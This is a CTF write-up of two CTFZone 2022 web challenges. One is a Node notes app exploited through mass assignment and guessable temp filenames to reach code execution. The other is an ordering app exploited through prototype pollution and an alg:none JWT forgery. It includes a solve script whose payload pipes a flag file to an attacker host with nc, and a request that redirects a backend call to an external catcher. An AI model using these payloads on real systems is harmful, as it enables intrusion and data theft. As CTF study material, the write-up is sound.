I played CTFZone 2022 with idek and we came 3rd! I’ll be writing up the web challenges that I helped to solve, which were Express notes and Delicious and Point with my teammate gapipro. Please enjoy!
Express notes
Hi! Check my simple nodejs express app that allows you to store simple notes and file attachments.
This challenge concerns a private note sharing app where you can create notes and upload a file attachment to a created note. Under normal usage, the files uploaded to /notes/:nid/upload
are temporarily stored in /tmp/
as per the express-fileupload
configuration, then moved to the path stored in uploadPath
, which is given by:
const uploadPath = __dirname + '/uploads/' + uuidv4() + '_' + textFile?.name;
Additionally, information about the notes is stored in the Redis database as a hash, with the field file
pointing to the filepath of the uploaded file. Once the file is uploaded, the field fileLoaded
is set to 1, such that the below route now loads the file:
app.get('/notes/:nid', ensureAuth, async (req, res) => {
const { nid } = req.params;
if (!await db.hasUserNoteAcess(req.session.user.id, nid)) {
return res.redirect('/notes');
}
db.getNote(nid).then((note) => {
if (note.fileLoaded){
out = {}
const vm = new NodeVM( {
console: 'inherit',
sandbox: { note, out },
require: { external: true }
} );
console.log(note.file);
c = ` try{
text = require(note.file)["userdata"];
delete require.cache[require.resolve(note.file)];
out.text = text;
} catch (error) {
out.text = "Can't load file ;(";
}`
vm.run(c);
text = out.text;
} else{
text = "Thank you for using our service. File now is processing on the server. You can reload page to check if file loaded.";
}
res.render('note', { nid,
note,
text });
});
});
Note that if we control a file on the server, point note.file
to this file and set note.fileLoaded
to true, we can execute arbitrary JS code thanks to require(note.file)
. Setting note.file
and note.fileLoaded
is relatively straightforward thanks to these snippets:
// db.js
async createNote(content) {
const nid = await nanoid();
const stamp = Date.now();
await db.hmset(`note:${nid}`, {...content, 'hashcash': stamp});
return nid;
}
// server.js
app.post('/notes', ensureAuth, async (req, res) => {
const nid = await db.createNote(req.body);
await db.addNoteToUser(req.session.user.id, nid);
res.flash('success', `Note ${nid} was created!`);
res.redirect(`/notes/${nid}`);
});
db.createNote
is called on the entire request body, and thanks to the JS spread operator ...
, this means that every key-value pair in the request body is assigned to a field-value pair on the Redis hash. This means that we can set note.file
and note.fileLoaded
simply by adding them in our request body when we create a note.
Well, we control note.file
, but how do we get the controlled file? We can upload files, but they’re given securely randomly generated filenames with uuidv4()
in the uploads/
directory. We can look at express-fileupload
for this, and how it handles temporary file uploads: going to the GitHub repo and searching for temp quickly yields this result on how temp filenames are generated:
const getTempFilename = (prefix = TEMP_PREFIX /* this is just tmp */) => {
tempCounter = tempCounter >= TEMP_COUNTER_MAX ? 1 : tempCounter + 1;
return `${prefix}-${tempCounter}-${Date.now()}`;
};
tempCounter
is a variable that starts at 0 on initialisation and increments whenever a new file is uploaded - that’s what FILE_ID
on the server seems to do as well, and we know Date.now()
roughly (~4ms gap) from timeUploaded
on the server, and we’re given both of those variables! Thus, by setting note.file
to this filename over a range of about 10 milliseconds, we can eventually find our uploaded filename and execute the code in there. We don’t have to worry about any race conditions with temporary files being deleted either if we simply upload multiple files - one file will be deleted, but the other will stay with tempCounter
1 higher, so we just increase our value by 1 to compensate…
This didn’t work, of course, because there are many players on the same server uploading multiple files many times, which desyncs FILE_ID
on the server (which only increments once per route traversal) with tempCounter
in the express-fileupload
library (which increments once per file upload, and file uploads to route traversals are not one-to-one). Thus, we’d also have to brute force the tempCounter
as well, which increased the time complexity from \(O(n)\) to \(O(n \times m)\), and I felt that that was too slow to be intended (I was wrong, this was entirely intended and in the author’s solve script). So we sat on this challenge at the very last hurdle for a while, and by a stroke of luck the challenge server was reset due to performance issues, resyncing tempCounter
and FILE_ID
to yield us the flag!
Solve script:
import requests
from dateutil import parser
import itertools
import time
import os
import string
s = requests.session()
URL = "https://express-notes.ctfz.one"
PAYLOAD = """
require("child_process").exec("cat /app/flag.txt | nc <ME> 2001");
"""
def login():
s.post(URL + "/login", data = {
"username": "spare",
"password": "spare"
})
def prepare_exploit():
global timestamp, fileid
r = s.post(URL + "/notes", data = {
"title": "alalala",
"content": "fhui"
})
A_ID = r.url.removeprefix(f"{URL}/notes/")
print(f"ID OF A: {A_ID}")
# upload the exploit
WORK = r.text.split("by next command: <code>")[1].split("</code>")[0]
print(WORK)
hashcash = os.popen(f"{WORK}").read().removeprefix("hashcash stamp: ").strip()
print(hashcash)
files = {
"textFile": ("abc.txt", "doesnt matter", "text/plain"),
"anything": ("afhuwg", PAYLOAD, "text/plain"),
}
r = s.post(f"{URL}/notes/{A_ID}/upload", data = {"hashcash": hashcash}, files = files).text
timestamp = int(parser.parse(r.split("|Upload date|")[1].split("<br/>")[0].strip()).timestamp() * 1000)
fileid = int(r.split("|File ID|")[1].split("</div>")[0].strip())
print(timestamp, fileid)
def exploit():
global timestamp, fileid
for i in reversed(range(10)):
B_ID = s.post(URL + "/notes", data = {
"title": "alalala",
"content": "fhui",
"file": f"/tmp/tmp-{fileid+1}-{timestamp-i}", # LOL
"fileLoaded": 1
}).url.removeprefix(f"{URL}/notes/")
print(f"ID OF B: {B_ID}")
# try and trigger it
s.get(f"{URL}/notes/{B_ID}")
def main():
login()
prepare_exploit()
exploit()
main()
A few days later, I came across Davwwwx’s writeup where instead of brute forcing to iron out the desync, they just forced a restart on the server by not providing a hashcat to the notes page, resetting FILE_ID
and tempCounter
back to 0. Very cool :)
Delicious and Point
Hey, guys! McDonald’s has rebrended. But now there is no BigMac. I’m very sad, I’m loving it.
This challenge concerned a web app where you could place orders for food, and the end goal was to order the Big Mac. There was a public API endpoint /create_order
, where your posted JSON body is written to the stdin of make_order.js
, which forms your order through the following snippet:
// make_order.js
var order = {};
categories.map( (category) => { order[category] = {} });
data = JSON.parse(data);
Object.keys(data).map( (category) => {
Object.keys(data[category]).map( (item) => {
order[category][item] = data[category][item]
})
});
Then, your order is posted again to the internal backend server, which ensures that you have each required category and no bad categories in your order, then removes your Big Mac order if it’s present. It signs this with a secret key as a JWT and returns to make_order.js
, which unsigns the JWT with the same key, and effectively your entire order is passed back to the original API endpoint, at which point if your Big Mac order remains, you get the flag.
The code snippet above is vulnerable to prototype pollution - imagine if data
was something like:
{
"__proto__": {
"a": 5
}
}
…then order["__proto__"]["a"]
would be set to 5, and as order
is just an object with a base prototype, anything with a prototype which is further down the prototype chain will have anything.a
return 5. (Read more about prototypes here.)
What can we pollute?
// make_order.js
var instance = axios.create({
baseURL: 'http://back_server:3000',
timeout: 1000
});
// ...
// pollution
// ...
let response = await instance.post('/create_order',JSON.stringify(order),{headers});
We can pollute the axios request config! We can add our own config options, and they’ll be used by axios. Notably, polluting baseURL
allows us to send the request to our own server, with something like:
{
"__proto__": {
"baseURL": "http://me"
}
}
This allows us to bypass the Big Mac check and have it be returned in the response! However, we still have to return an object with JWT that passes jwt.verify
. How would this be achieved?
// make_order.js
let fd = await open('./jwtkey.txt');
let x = await fd.read({buffer: Buffer.alloc(1024)});
let key = x.buffer.toString().slice(0,x.bytesRead);
let created_order = jwt.verify(token,key);
My teammate gapipro used the fact that jwt.verify
works if the token uses alg: none
in the JWT header, has no signature, and key is nullish! Setting the JWT header and signature is easy as we control it, but how would we get the key to be empty? The answer is more prototype pollution. Notably, the key is being read using filehandle.read
, which takes pollutable options:
filehandle.read([options])
Added in: v13.11.0, v12.17.0
- options <Object>
- buffer <Buffer> | <TypedArray> | <DataView> A buffer that will be filled with the file data read. Default: Buffer.alloc(16384)
- offset <integer> The location in the buffer at which to start filling. Default: 0
- length <integer> The number of bytes to read. Default: buffer.byteLength - offset
- position <integer> | <null> The location where to begin reading data from the file. If null, data will be read from the current file position, and the position will be updated. If position is an integer, the current file position will remain unchanged. Default:: null
- Returns: <Promise> Fulfills upon success with an object with two properties:
- bytesRead <integer> The number of bytes read
- buffer <Buffer> | <TypedArray> | <DataView> A reference to the passed in buffer argument.
Reads data from the file and stores that in the given buffer.
If the file is not modified concurrently, the end-of-file is reached when the number of bytes read is zero.
If we pollute position
to 999999999999 (larger than the file size), then no bytes will be read and x.buffer.toString()
will simply be empty, and we can get the flag! Final payloads:
Body:
{
"__proto__": {
"baseURL": "https://x1esf89l.requestrepo.com",
"position": 999999999999
},
"meat": {
"Hamburger": 0,
"BigMac": 0,
"Cheeseburger": 0
},
"chicken": {
"ChickenBurger": 0
},
"potato": {
"Fries": 0,
"Coca-Cola": 0
}
}
Attacker server response:
{
"success": true,
"jwt": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJtZWF0Ijp7IkJpZ01hYyI6MX0sImNoaWNrZW4iOnt9LCJwb3RhdG8iOnt9fQ."
}